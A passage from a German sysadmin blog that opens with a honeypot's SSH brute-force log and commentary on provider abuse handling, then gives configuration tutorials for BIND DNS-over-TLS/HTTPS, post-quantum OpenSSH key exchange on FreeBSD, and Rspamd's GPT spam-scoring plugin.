Jan  6 23:42:45 honeypot03 sshd-session[63013]: Connection closed by invalid user taryn 64.23.228.101 port 57728 [preauth]
Jan  6 23:46:45 honeypot03 sshd-session[63160]: Invalid user taryn from 64.23.228.101 port 38438
Jan  6 23:46:45 honeypot03 sshd-session[63160]: Connection closed by invalid user taryn 64.23.228.101 port 38438 [preauth]
Jan  6 23:50:49 honeypot03 sshd-session[63252]: Invalid user taryn from 64.23.228.101 port 54070
Jan  6 23:50:49 honeypot03 sshd-session[63252]: Connection closed by invalid user taryn 64.23.228.101 port 54070 [preauth]
Jan  6 23:54:55 honeypot03 sshd-session[63354]: Invalid user terrance from 64.23.228.101 port 57960
Jan  6 23:54:55 honeypot03 sshd-session[63354]: Connection closed by invalid user terrance 64.23.228.101 port 57960 [preauth]
Jan  6 23:59:05 honeypot03 sshd-session[63472]: Invalid user terrance from 64.23.228.101 port 47558
Jan  6 23:59:05 honeypot03 sshd-session[63472]: Connection closed by invalid user terrance 64.23.228.101 port 47558 [preauth]
Jan  7 00:03:11 honeypot03 sshd-session[64731]: Invalid user terrance from 64.23.228.101 port 42938
Jan  7 00:03:11 honeypot03 sshd-session[64731]: Connection closed by invalid user terrance 64.23.228.101 port 42938 [preauth]
```

Damit erklärt sich auch, warum Provider solche externen Feeds nicht einfach hart umsetzen. Würde man IPs automatisiert abschalten, nur weil sie in einer Datenbank schlecht bewertet sind, träfe man regelmäßig Unbeteiligte. False Positives wären vorprogrammiert. Rechtlich, operativ und wirtschaftlich ist das für Provider kaum tragbar.

Warum also fällt DigitalOcean so stark auf? Das kann ich nicht belegen, nur einordnen. DigitalOcean ist günstig, schnell, einfach. In wenigen Minuten hat man dort eine VM mit öffentlicher IP. Das ist für legitime Nutzer attraktiv, aber eben auch für Leute mit schlechten Absichten. Wenn Infrastruktur billig und niedrigschwellig ist, taucht sie zwangsläufig häufiger in Logs auf. Dazu kommt, dass viele Systeme dort von Menschen betrieben werden, die vielleicht noch nicht so tief im Thema Security stecken. Offene Dienste, schwache Konfigurationen, fehlendes Hardening – all das macht solche Hosts wiederum zu guten Kandidaten für Kompromittierung und Weiterverwendung.

Wichtig dabei: DigitalOcean selbst macht aus meiner Sicht nichts grundlegend falsch. Der Abuse-Prozess funktioniert. Meldungen lassen sich automatisiert einreichen, werden angenommen, werden beantwortet, werden bearbeitet. Ich habe das über Jahre hinweg genutzt, [sowohl manuell ](https://www.digitalocean.com/company/contact/abuse)als auch automatisiert. Das ist sauber umgesetzt.

Was sich dadurch aber nicht ändert, ist die Menge der Versuche. Die wird nicht weniger. Sie bleibt konstant. Einzelne Hosts verschwinden, neue tauchen auf. Abuse-Meldungen – egal ob direkt beim Provider oder über Plattformen wie AbuseIPDB – wirken immer nur lokal und zeitverzögert. Gegen ein strukturelles Phänomen kommen sie nicht an.

Aus Sicht eines Providers ist das auch logisch. Ein paar tausend fehlgeschlagene SSH-Logins sind kein Incident. Kein DDoS, kein Ausfall, kein messbarer Schaden. Das fällt unter Hintergrundrauschen. Niemand bezahlt dafür, dieses Rauschen global zu eliminieren. Und ehrlich gesagt: Das kann auch niemand realistisch leisten.

Die eigentliche Konsequenz daraus ist unbequem, aber klar. Man darf nicht erwarten, dass Provider oder Reputation-Datenbanken einem dieses Problem abnehmen. Scan- und Brute-Force-Traffic gehört heute zum Betrieb eines öffentlich erreichbaren Systems dazu. Die einzige Stelle, an der man sinnvoll ansetzen kann, ist das eigene Setup.

Saubere Konfiguration. Keine Passwort-Logins per SSH. Kein Root-Login. Rate-Limits. Monitoring, das zwischen Rauschen und echten Zustandsänderungen unterscheidet. [Fail2Ban](https://de.wikipedia.org/wiki/Fail2ban) als Dämpfer, nicht als Illusion von Sicherheit. Und vor allem: Gelassenheit gegenüber Logs, die voll sind, aber nichts bedeuten.

DigitalOcean ist hier nicht der Feind. AbuseIPDB ist kein Allheilmittel. Beides sind sichtbare Teile eines größeren Bildes. Das eigentliche Thema ist, wie man Systeme so betreibt, dass dieses Hintergrundrauschen irrelevant wird.

---

## 19. BIND auf FreeBSD: DoT & DoH einrichten mit Views, IP‑Trennung und Testplan für IPv4/IPv6.

**Veröffentlicht:** 2026-01-03
**Permalink:** https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/

## Wofür braucht man noch gleich DoT oder DoH?

Nun, wenn du eine Internetadresse eingibst, muss dein Gerät zuerst herausfinden, zu welchem Server diese Adresse gehört. Diese Nachfragen heißen DNS. Lange Zeit liefen sie unverschlüsselt durchs Netz, vergleichbar mit einer Postkarte. Jeder, der den Datenverkehr sehen konnte, wusste dadurch sehr genau, welche Webseiten aufgerufen werden, und konnte die Antworten sogar manipulieren.

[[Bild: Beitragsgrafik zu BIND 9.20 auf FreeBSD 15: schematische Trennung von autoritativem DNS und rekursivem Resolver. Links ein Authoritative-DNS-Server mit deaktivierter Rekursion und blockiertem UDP/53, rechts ein Resolver, der ausschließlich DNS over TLS (Port 853) und DNS over HTTPS (Port 443) anbietet. In der Mitte ein Schild mit DoT/DoH-Symbolen, Pfeile zeigen verschlüsselten DNS-Verkehr. Fokus auf Sicherheits- und Rollen-Trennung.]](https://www.kernel-error.de/wp-content/uploads/2026/01/bind9-dot-doh.png)

DoT und DoH lösen genau dieses Problem. Beide sorgen dafür, dass diese DNS-Nachfragen verschlüsselt übertragen werden. Bei DNS over TLS, kurz DoT, wird die Anfrage in eine eigene sichere Verbindung gepackt. Außenstehende sehen noch, dass eine DNS-Anfrage stattfindet, aber nicht mehr, welche Webseite gemeint ist. Bei DNS over HTTPS, kurz DoH, wird dieselbe Anfrage zusätzlich im normalen Webseitenverkehr versteckt. Von außen sieht sie aus wie ein ganz gewöhnlicher Zugriff auf eine Website.

Der Zweck von beiden ist also derselbe: Schutz der Privatsphäre und Schutz vor Manipulation. Der Unterschied liegt darin, wie sichtbar diese Nachfragen noch sind. DoT ist transparent und gut kontrollierbar, DoH ist unauffälliger, kann dafür aber lokale Regeln und Schutzmechanismen umgehen.

Mal angenommen, du möchtest eine gewisse Webseite aufrufen. Dann geht der Client los und holt über einen DNS-Server die IP-Adressen vom Server. Dies kann man mitlesen und ggf. verändern. Mitlesen sagt dem Mitlesenden, wo du dich so im Internet herumtreibst. Verändern könnte man als Angriff nutzen, indem man dir einfach eine andere Webseite vorsetzt, während du versuchst, dich in deinen Mailaccount einzuloggen. Beides wird durch DoH und DoT deutlich erschwert.

Dann soll es ja Netzwerke geben, in welchen dir ein bestimmter DNS-Server aufgezwungen wird, weil dieser DNS-Server nach Werbung oder ungewollten Inhalten filtert. Damit dies nun ebenfalls nicht einfach umgangen werden kann, blockt man den Zugriff aus dem Netzwerk einfach auf die Ports, welche sonst für eine DNS-Abfrage benutzt werden (TCP/53, UDP/53, TCP/853). Da kommt nun DoH ins Spiel, denn das läuft auf dem ganz normalen HTTPS-Port TCP/443. Blockt man den, kann keiner mehr auf Webseiten zugreifen (ok, unverschlüsselt, aber hey, das macht doch keiner mehr, oder?).

Die Zeit ging weiter – BIND auch.
Meine älteren Artikel zu [DoT](https://www.kernel-error.de/2019/07/16/dot-dns-over-tls-mit-bind-stunnel-und-android-9/)/[DoH ](https://www.kernel-error.de/2019/11/19/doh-dns-over-https-mit-bind/)waren für ihren Zeitpunkt korrekt, aber inzwischen hat sich an zwei Stellen richtig was getan:

- **BIND spricht [DoT](https://www.kernel-error.de/2019/07/16/dot-dns-over-tls-mit-bind-stunnel-und-android-9/)/[DoH](https://www.kernel-error.de/2019/11/19/doh-dns-over-https-mit-bind/) nativ** (kein Stunnel-/Proxy-Zirkus mehr nötig – außer du willst bewusst terminieren/filtern).

- **„Authoritative + Public Resolver auf derselben Kiste“** ist ohne klare Trennung schnell ein Sicherheitsproblem (Open-Resolver/Reflection-Missbrauch lässt grüßen).

Darum gibt’s hier das Update:

- **ns1.kernel-error.de**: nur autoritativ auf **UDP/TCP 53** (Zonen, DNSSEC wie gehabt)

- **[dns.kernel-error.de](https://dns.kernel-error.de/dns-query)**: Public Resolver nur auf **DoT 853/TCP** und **DoH 443/TCP** (rekursiv, DNSSEC-validierend)

- **Trennung über zusätzliche IPs + Views**. Ergebnis: Authoritative bleibt „stumm rekursiv“, Resolver ist nur über TLS/HTTPS erreichbar.

## Zielbild

Uff, ich muss zugeben, diesen Beitrag schon VIEL zu lange als Draft zu haben. Es ist einfach viel zu schreiben, bschreiben und mir fehlte die Zeit. Aber das kennt ihr ja. OK… das Zielbild, was soll es werden?

**Was soll am Ende gelten:**

- Port 53 auf Authoritative-IP(s):

beantwortet **nur** meine autoritativen Zonen

- **keine Rekursion** → REFUSED bei `google.com`

- DoT/DoH auf separaten Resolver-IP(s):

rekursiv für „das ganze Internet“

- DNSSEC-Validation aktiv

- *kein* offenes UDP/53 → weniger Angriffsfläche für Reflection/Amplification

**Warum das wichtig ist:**
Ein „Public Resolver“ ist per Definition attraktiv für Missbrauch. Der Klassiker ist **[DNS-Amplification](https://de.wikipedia.org/wiki/DNS_Amplification_Attack)** über UDP/53. Wenn man Rekursion auf 53 offen hat, ist man sehr schnell Teil fremder Probleme. DoT/DoH sind TCP-basiert – das ist schon mal deutlich unattraktiver für Reflection. (Nicht „unmöglich“, aber praktisch viel weniger lohnend.)

## Warum „Views“ – und warum zusätzliche IPs?

### 1) Views – weil Policy pro Anfrage gelten muss

Wir wollen auf *derselben named-Instanz* zwei sehr unterschiedliche Rollen:

- **Authoritative**: `recursion no;`

- **Resolver**: `recursion yes;` + Root-Hints/Cache

Das muss **pro eingehender Anfrage** entschieden werden. Dafür sind Views da.

2) Also: Trennung über Ziel-IP (match-destinations)

Wenn wir **DoH/DoT auf andere IPs legen**, kann die View anhand der Zieladresse entscheiden:

- Anfrage geht an `93.177.67.26` / `2a03:4000:38:20e::53` → **auth-View**

- Anfrage geht an `37.120.183.220` / `2a03:4000:38:20e::853` → **resolver-View**

Und genau deshalb brauchen wir:

- **zusätzliche IPs** (damit die Rollen sauber getrennt sind)

- **separaten FQDN** `dns.kernel-error.de` (damit Clients überhaupt sinnvoll DoT/DoH nutzen können – und für TLS/SNI/Cert-Match)

Wenn du also grade ein ripe from ausfüllst und angeben musst, warum da eine weitere IPv4 Adresse „verbrannt“ werden soll, hast du nun eine gute Antwort 😀

BIND-Config

Ich beschreibe hier nur die Teile, die für das Rollen-Split relevant sind. Die Zonendateien/Slaves bleiben wie sie sind.

### 1) /usr/local/etc/namedb/named.conf – Views

**Wichtig:** Sobald wir `view {}` nutzen, müssen *alle* Zonen in Views liegen, sonst bricht `named-checkconf` ab. Das ist kein „Feature“, das ist BIND. Leicht nervig, vor allem wenn man nun viel in seinem Setup umschreiben muss. Aber ich eigentlich schon mal erwähnt, dass ich auf der Arbeit mal einen, nennen wir es mal View Ersatz, für powerdns gesehen habe? Da hat tatsächlich jemand mit einer Cisco ASA in die DNS Pakete geschaut und je nachdem welche quelle angefragt hat, wurde dann durch die ASA eine neue Adresse in die DNS Pakete geschrieben. Furchtbar! Richtig schlimm. Bis man so etwas findet, wenn man es nicht weiß. DNSsec geht kaputt und aaahhhhhhaaaaaahhhhh. Egal, mein PTBS kickt da grade. Öhm wo waren wir? Genau…

Beispiel:

```
include "/usr/local/etc/namedb/named.conf.options";

view "auth" {
    match-clients { any; };
    match-destinations { 93.177.67.26; 2a03:4000:38:20e::53; };

    recursion no;
    allow-recursion { none; };
    allow-query-cache { none; };
    allow-query { any; };

    include "/usr/local/etc/namedb/named.conf.default-zones";
    include "/usr/local/etc/namedb/named.conf.master";
    include "/usr/local/etc/namedb/named.conf.slave";
};

view "resolver" {
    match-clients { any; };
    match-destinations { 37.120.183.220; 2a03:4000:38:20e::853; 127.0.0.1; ::1; };

    recursion yes;
    allow-recursion { any; };
    allow-query-cache { any; };
    allow-query { any; };

    zone "." { type hint; file "/usr/local/etc/namedb/named.root"; };
};
```

**Warum Root-Hints nur im Resolver-View?**
Weil nur dieser View rekursiv arbeiten soll. Ohne Root-Hints ist Rekursion tot; dat wolln wa so!

### 2) /usr/local/etc/namedb/named.conf.options – Listener-Trennung + DoH/DoT

Der „Aha-Moment“ hier: Wir trennen nicht nur per View, sondern auch per `listen-on`.
Damit bindet named die Ports wirklich nur auf den gewünschten IPs.

**Authoritative (nur 53):**

```
listen-on { 93.177.67.26; 127.0.0.1; };
listen-on-v6 { 2a03:4000:38:20e::53; ::1; };
```

**DoT auf Resolver-IPs (+ Loopback für lokale Tests):**

```
listen-on port 853 tls local-tls { 37.120.183.220; 127.0.0.1; };
listen-on-v6 port 853 tls local-tls { 2a03:4000:38:20e::853; ::1; };
```

**DoH auf Resolver-IPs (+ Loopback):**
BIND 9.18+ kann DoH nativ, Endpoint typischerweise `/dns-query`

```
http doh-local {
    endpoints { "/dns-query"; };
    listener-clients 1000;
    streams-per-connection 256;
};

listen-on port 443 tls local-tls http doh-local { 37.120.183.220; 127.0.0.1; };
listen-on-v6 port 443 tls local-tls http doh-local { 2a03:4000:38:20e::853; ::1; };
```

**TLS-Block (DoT/DoH):**

```
tls local-tls {
    cert-file "/usr/local/etc/nginx/ssl/wild.kernel-error.de/2025/ecp/chain.crt";
    key-file "/usr/local/etc/nginx/ssl/wild.kernel-error.de/2025/ecp/http.key";
    protocols { TLSv1.2; TLSv1.3; };
    ciphers "ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256";
    cipher-suites "TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256";
    prefer-server-ciphers yes;
    session-tickets no;
};
```

**„Ich schalte nginx davor – muss BIND TLS können?“**
Wenn nginx wirklich TLS terminiert, *kann* BIND auch ohne TLS dahinter laufen – dann sprichst du intern HTTP/2 cleartext oder HTTP/1.1, je nach Setup. Das habe ich ebenfalls so umgesetzt, es hängt immer etwas davon ab, was man so will und wie groß das Setup wird. Ich lasse es in diesem Beitrag aber mal weg, so läuft alles nur mit bind. Ob BIND dafür „tls none“/HTTP-Listener sauber unterstützt, hängt an der BIND-DoH-Implementierung – hier ist die BIND/ARM-Doku die Wahrheit. [bind9.readthedocs.io+1](https://bind9.readthedocs.io/en/stable/reference.html)

## Testplan – Linux-CLI – **bewusst IPv4 und IPv6**

Wir wollen natürlich einmal reproduzierbar testen. Also: jede Stufe zweimal. Einmal `-4`, einmal `-6`. Also ob es bei IPv4 und bei IPv6 jeweils korrekt ist. Ihr könnt euch nicht vorstellen, wie oft ich fest davon überzeugt bin, es für beide Adressfamilien korrekt konfiguriert zu haben, dann aber noch ein unterschied zwischen v4 und v6 ist. Daher testen wir das.

### Voraussetzungen auf Linux

```
which dig kdig curl openssl
```

## Schritt 1 – DoT-TLS-Handshake prüfen (IPv4/IPv6)

### IPv4

```
openssl s_client \
  -connect 37.120.183.220:853 \
  -servername dns.kernel-error.de \
  -alpn dot
```

Erwartung:

- Zertifikat passt auf `dns.kernel-error.de` (SAN / Wildcard ok)

- `ALPN protocol: dot`

- `Verify return code: 0 (ok)`

### IPv6

```
openssl s_client \
  -connect '[2a03:4000:38:20e::853]:853' \
  -servername dns.kernel-error.de \
  -alpn dot
```

Wenn das passt, ist TLS-Transport ok. Also nur die TLS Terminierung für IPv4 und IPv6, da war noch keine DNS Abfrage enthalten.

## Schritt 2 – DoT-Query (kdig) – IPv4/IPv6

### IPv4

```
kdig +tls @37.120.183.220 google.com A
```

Erwartung:

- `status: NOERROR`

- Flags: `rd ra` (Recursion Desired/Available)

- eine A-Antwort

### IPv6

```
kdig +tls @[2a03:4000:38:20e::853] google.com A
```

Gleiche Erwartungshaltung wie bei IPv4.

## Schritt 3 – Sicherstellen: **kein** Resolver auf UDP/TCP 53

### Resolver-IPs dürfen auf 53 *nicht* antworten

```
dig -4 @37.120.183.220 google.com A
dig -6 @2a03:4000:38:20e::853 google.com A
```

Erwartung:

- Timeout / no servers reached
Genau das wollen wir ja: kein UDP/53 auf den Resolver-IPs.

### Authoritative-IPs dürfen nicht rekursiv sein

```
dig -4 @93.177.67.26 google.com A
dig -6 @2a03:4000:38:20e::53 google.com A
```

Erwartung:

- `status: REFUSED`

- idealerweise `EDE: (recursion disabled)`
Das ist genau die „nicht missbrauchbar als Open-Resolver“-Bremse.

Und unser positiver Check:

```
dig -4 @93.177.67.26 kernel-error.de A
dig -6 @2a03:4000:38:20e::53 kernel-error.de A
```

Erwartung:

- `aa` gesetzt (au

[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/ ...]

---

## 20. Quantensichere Kryptografie mit OpenSSH auf FreeBSD 15 richtig konfigurieren

**Veröffentlicht:** 2025-12-22
**Permalink:** https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/

Mein FreeBSD 15 kommt mit **OpenSSH 10.0p2** und **OpenSSL 3.5.4**.
Beide bringen inzwischen das mit, was man aktuell als quantensichere Kryptografie bezeichnet. Oder genauer gesagt das, was wir Stand heute für ausreichend robust gegen zukünftige Quantenangriffe halten.

[[Bild: Illustration zu quantensicherer Kryptografie mit OpenSSH auf FreeBSD 15. Dargestellt sind ein Quantenchip, kryptografische Symbole, ein Server, ein SSH Schlüssel sowie der FreeBSD Daemon als Sinnbild für post-quantum Key Exchange und sichere Serverkommunikation.]](https://www.kernel-error.de/wp-content/uploads/2025/12/openssh-quanten.png)

Quantensicher? Nein, das hat nichts mit Füßen zu tun, sondern tatsächlich mit den Quanten aus der Physik. Quantencomputer sind eine grundlegend andere Art von Rechnern. Googles aktueller Quantenchip war in diesem Jahr bei bestimmten Physiksimulationen rund 13.000-mal schneller als der derzeit leistungsstärkste klassische Supercomputer. Der chinesische Quantencomputer Jiuzhang wurde bei speziellen Aufgaben sogar als 100 Billionen Mal schneller eingestuft.

Kurz gesagt: Quantencomputer sind bei bestimmten Berechnungen extrem viel schneller als heutige klassische Rechner. Und genau das ist für Kryptografie ein Problem.

Als Vergleich aus der klassischen Welt: Moderne Grafikkarten haben die Zeit zum Knacken von Passwörtern in den letzten Jahren drastisch verkürzt.

- Nur Zahlen: Ein 12-stelliges Passwort wird praktisch sofort geknackt.

- Nur Kleinbuchstaben: wenige Wochen bis Monate.

- Groß- und Kleinschreibung plus Zahlen: etwa 100 bis 300 Jahre.

- Zusätzlich Sonderzeichen: 2025 noch als sehr sicher einzustufen mit geschätzten 226 bis 3.000 Jahren.

Quantencomputer nutzen spezielle Algorithmen wie den [Grover-Algorithmus](https://de.wikipedia.org/wiki/Grover-Algorithmus), der die effektive Sicherheit symmetrischer Verfahren halbiert. Ein ausreichend leistungsfähiger Quantencomputer könnte damit die benötigte Zeit drastisch reduzieren. Was heute Jahrhunderte dauert, könnte theoretisch auf Tage oder Stunden schrumpfen.

Stand 2025 sind solche Systeme zwar real und in der Forschung extrem leistungsfähig, werden aber noch nicht flächendeckend zum Brechen realer Kryptosysteme eingesetzt.

Heißt das also alles entspannt bleiben? Jein.

Verschlüsselte Datenträger lassen sich kopieren und für später weglegen. Gleiches gilt für aufgezeichneten verschlüsselten Netzwerkverkehr. Heute kommt man nicht an die Daten heran, aber es ist absehbar, dass das in Zukunft möglich sein könnte. Genau hier setzt quantensichere Kryptografie an. Ziel ist es, auch aufgezeichnete Daten dauerhaft vertraulich zu halten.

Ein praktisches Beispiel ist der Schlüsselaustausch **mlkem768x25519**. Wenn ihr diese Seite nicht gerade über Tor lest, ist die Wahrscheinlichkeit hoch, dass euer Browser bereits eine solche hybride, post-quantum-fähige Verbindung nutzt. Im Firefox lässt sich das einfach prüfen über F12, Network, eine Verbindung anklicken, dann Security und dort die Key Exchange Group. Taucht dort mlkem768x25519 auf, ist die Verbindung entsprechend abgesichert. Richtig, auf dem Screenhot seht ihr auch [HTTP/3](https://de.wikipedia.org/wiki/Hypertext_Transfer_Protocol#HTTP/3).

[[Bild: Image of mlkem768+x25519 in firefox.]](https://www.kernel-error.de/wp-content/uploads/2025/12/mlkem768x25519.png)

Für diese Webseite ist das nicht zwingend nötig. Für SSH-Verbindungen zu Servern aber unter Umständen schon eher. Deshalb zeige ich hier, wie man einen OpenSSH-Server entsprechend konfiguriert.

Ich beziehe mich dabei bewusst nur auf die Kryptografie. Ein echtes SSH-Hardening umfasst deutlich mehr, darum geht es hier aber nicht.

Die zentrale Konfigurationsdatei ist wie üblich: ***/etc/ssh/sshd_config***

Stand Ende 2025 kann ich folgende Konfiguration empfehlen:

```
KexAlgorithms mlkem768x25519-sha256,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,umac-128-etm@openssh.com
HostKeyAlgorithms ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com
```

Die Zeilen werden entweder an die bestehende Konfiguration angehängt oder ersetzen vorhandene Einträge. Da wir nicht einfach blind kopieren wollen, hier kurz die Erklärung.

**Schlüsselaustausch:**
Bevorzugt werden hybride Verfahren wie mlkem768 kombiniert mit x25519 sowie sntrup761 kombiniert mit x25519. Diese verbinden klassische elliptische Kryptografie mit post-quantum-resistenten Algorithmen. Damit ist die Verbindung sowohl gegen heutige Angreifer als auch gegen zukünftige Store-now-decrypt-later-Szenarien abgesichert. Curve25519 dient als bewährter Fallback. Klassische Diffie-Hellman-Gruppen sind nur aus Kompatibilitätsgründen enthalten.

**Verschlüsselung:**
Es werden ausschließlich moderne Algorithmen eingesetzt. Primär kommen AEAD-Ciphers wie ChaCha20-Poly1305 und AES-GCM zum Einsatz, die Vertraulichkeit und Integrität gleichzeitig liefern und bekannte Schwächen älterer Modi vermeiden. Ältere Verfahren wie CBC sind bewusst ausgeschlossen.

**Integrität:**
Zum Einsatz kommen ausschließlich SHA-2-basierte MACs im Encrypt-then-MAC-Modus. Dadurch werden klassische Angriffe auf SSH wie Padding-Oracles und bestimmte Timing-Leaks wirksam verhindert.

**Serveridentität:**
Als Hostkey-Algorithmus wird Ed25519 verwendet. Optional auch mit Zertifikaten oder hardwaregestützten Security Keys. Das bietet hohe kryptografische Sicherheit bei überschaubarem Verwaltungsaufwand.

Wichtig: Das funktioniert nur, wenn Server und Client diese Algorithmen auch unterstützen. Wer bereits mit SSH-Keys arbeitet, sollte prüfen, dass es sich um Ed25519-Keys handelt. Andernfalls sperrt man sich im Zweifel selbst aus.

Auf dem Server lässt sich die aktive Konfiguration prüfen mit:

```
sshd -T | grep -Ei 'kexalgorithms|ciphers|macs|hostkeyalgorithms'
```

Auf dem Client geht es am einfachsten mit:

```
ssh -Q kex
ssh -Q cipher
ssh -Q mac
ssh -Q key
```

So sieht man schnell, welche Algorithmen tatsächlich verfügbar sind.

Zur externen Überprüfung der SSH-Konfiguration kann ich außerdem das Tool [ssh-audit](https://github.com/jtesta/ssh-audit) empfehlen. Aufruf einfach per:

```
ssh-audit hostname oder IP -p PORT
```

Das liefert eine brauchbare Einschätzung der aktiven Kryptografie und möglicher Schwachstellen. Oh, wenn ihr schon dabei seit, vergesst nicht:

- [MFA mit Google Authenticator einrichten​](https://www.kernel-error.de/2024/03/29/freebsd-ssh-server-mit-mfa-2fa/)

- [SSH-Hostkey-Verifikation erklärt​](https://www.kernel-error.de/2024/03/29/linux-mint-ubuntu-und-dnssec/)

- [SSH Host Keys in DNS Zone](https://www.kernel-error.de/2012/05/27/hinzufuegen-der-ssh-public-keys-zum-dns/)

**Hinweis zur Einordnung der Quantensicherheit:**
Die hier gezeigte Konfiguration verbessert ausschließlich den Schlüsselaustausch (Key Exchange) durch hybride post-quantum-fähige Verfahren. Hostkeys und Signaturen in OpenSSH basieren weiterhin auf klassischen Algorithmen (z. B. Ed25519 oder ECDSA); standardisierte post-quantum-Signaturalgorithmen sind in OpenSSH aktuell noch nicht implementiert. Es existieren zwar experimentelle Forks (z. B. aus dem Open-Quantum-Safe-Projekt), diese gelten jedoch ausdrücklich nicht als produktionsreif und sind nicht Bestandteil des OpenSSH-Mainlines. Die hier gezeigte Konfiguration ist daher als pragmatischer Übergangsschritt zu verstehen, um „store-now-decrypt-later“-Risiken beim Schlüsselaustausch bereits heute zu reduzieren, ohne auf instabile oder nicht standardisierte Komponenten zu setzen.
Weiterführende Informationen zum aktuellen Stand der post-quantum-Unterstützung in OpenSSH finden sich in der offiziellen Dokumentation: [https://www.openssh.com/pq.html](https://www.openssh.com/pq.html)

Viel Spaß beim Nachbauen. Und wie immer: bei Fragen, [fragen](https://www.kernel-error.de/kontakt/).

---

## 21. GPT in Rspamd aktivieren: so nutze ich das LLM-Signal im Score

**Veröffentlicht:** 2025-09-30
**Permalink:** https://www.kernel-error.de/2025/09/30/gpt-in-rspamd-aktivieren/

[Bild: ]

Setup: FreeBSD 14.3, Rspamd 3.12.1, Postfix + Dovecot. Ich lasse bei kniffligen Mails zusätzlich ein LLM draufschauen. Wichtig: GPT ist bei mir nur **ein weiterer Sensor** im ganz normalen Rspamd-Scoring — keine Allzweckwaffe und kein „hartes Urteil“.

**Voraussetzungen**

- Rspamd inkl. **GPT-Plugin** (ab ~3.12.x im Paket; konfiguriert wird in `local.d/gpt.conf`).

- API-Zugang (OpenAI-kompatibel oder eigener Endpunkt).

- Grundverständnis zu Rspamd-Metrics/Actions (Reject/Add-Header/Greylist).

[[Bild: ]](https://www.kernel-error.de/wp-content/uploads/2025/09/openai-api-rspamd.jpg)

[**OpenAI API Key erstellen**:](https://platform.openai.com/api-keys) Melde dich auf der Developer-Plattform an, öffne die Seite *API Keys* und klicke auf *Create new secret key*. Lege bei Bedarf Berechtigungen fest oder arbeite mit projektbasierten Keys. Kopiere den Key einmalig und bewahre ihn sicher (root-only) auf – bitte nicht teilen. Nutzung/Kosten siehst du im Usage-Dashboard.

**Mein `gpt.conf`**

Ich halte die Konfiguration bewusst nüchtern — genug, um robuste Labels zu bekommen, aber ohne Schnickschnack:

```
# local.d/gpt.conf (Auszug)
enabled = true;
type = "openai";
model = "gpt-4o-mini";
api_key = "GEHEIMER-KEY";

model_parameters {
  gpt-4o-mini {
    max_tokens = 160;
    temperature = 0.0;
  }
}

timeout = 10s;
allow_ham = true;
allow_passthrough = false;
json = false;
reason_header = "X-GPT-Reason";

input = "text";
min_words = 1;
max_size = 256k;

symbols_to_except {
  RCVD_IN_DNSWL_MED = -0.1;
  RCVD_IN_DNSWL_HI  = -0.1;
  DWL_DNSWL_MED     = -0.1;
  WHITELIST_RECP_ADDR = -0.1;
  GREYLIST = 0; GREYLIST_CHECK = 0; GREYLIST_SAVE = 0;
  RCPT_IN_SPAMTRAP = 0; SPAMTRAP = 0; SPAMTRAP_ADDR = 0;
  RCVD_VIA_SMTP_AUTH = 0; LOCAL_CLIENT = 0; FROM_LOCAL = 0;
}
```

**Was** bedeutet das?!

- `model = gpt-4o-mini`: flott & günstig, deterministisch per `temperature = 0.0`.

- `allow_ham = true`: GPT darf „HAM“ melden (kleines, positives Signal).

- `allow_passthrough = false`: Bei Fehlern (Timeout/API down) **keine** stillen Freifahrten.

- `reason_header = "X-GPT-Reason"`: Kurzbegründung landet im Header (s.u. Datenschutz).

- `symbols_to_except`: Offensichtliche interne Fälle werden neutralisiert, damit GPT nicht in klaren Situationen wirkt.

- Limits: `min_words = 1`, `max_size = 256k`, `timeout = 10s`.

**Metric/Scoring: drei GPT-Symbole**

```
symbols {
  GPT_SPAM       { weight = 9.0;  group = "gpt"; description = "GPT: classified as SPAM"; }
  GPT_SUSPICIOUS { weight = 4.5;  group = "gpt"; description = "GPT: classified as SUSPICIOUS"; }
  GPT_HAM        { weight = -0.5; group = "gpt"; one_shot = true; description = "GPT: classified as HAM"; }
}
```

GPT wirkt wie ein starker, aber nicht absoluter Faktor. 

– **SPAM (9.0)**: kräftiger Zuschlag.

– **SUSPICIOUS (4.5)**: sanfter Schubs Richtung Greylist/Review.

– **HAM (-0.5)**: kleine Entlastung, einmalig pro Mail.

**Warum diese Gewichte?**
Die Zahlen habe ich bewusst so gewählt, dass das GPT-Signal stark, aber nie absolut ist. Rspamd summiert Scores, GPT ist also nur ein Faktor:

- `GPT_SPAM = 9.0`: genug, um bei Kombination mit klassischen Checks (Bayes, RBL, DMARC) die Add-Header-Schwelle sicher zu reißen, aber unterhalb von *reject* allein.

- `GPT_SUSPICIOUS = 4.5`: halber Wert, schiebt Grauzonen in Richtung Greylist/Review, ohne sofortige Eskalation.

- `GPT_HAM = -0.5`: nur eine kleine Entlastung (one_shot). So verhindert man, dass GPT-HAM mehrere Punkte abzieht und Spams „rettet“.

**Wie wird die GPT-Gewichtung berechnet?**
In den Logs/WebUI taucht das oft so auf: `GPT_SPAM(2.10)[0.85]`. Das bedeutet:

- `[0.85]` = Rohwert von GPT, z. B. 85 % Wahrscheinlichkeit für Spam.

- `weight` aus der Metric (z. B. 9.0 für `GPT_SPAM`).

- Grundformel: `Rohwert × weight` → ergibt den Beitrag zum Gesamtscore.

- *Hinweis:* Je nach Rspamd-Version kann der im Header gezeigte Wert zusätzlich **skaliert** sein (z. B. falls das Modell nur ein „softes“ Signal liefert). Deshalb sieht man in der Praxis häufig 2–8 Punkte statt des Maximalgewichts.

**Actions/Schwellen**

```
actions {
  greylist = 4;
  add_header = 6;
  reject = 15;
}
```

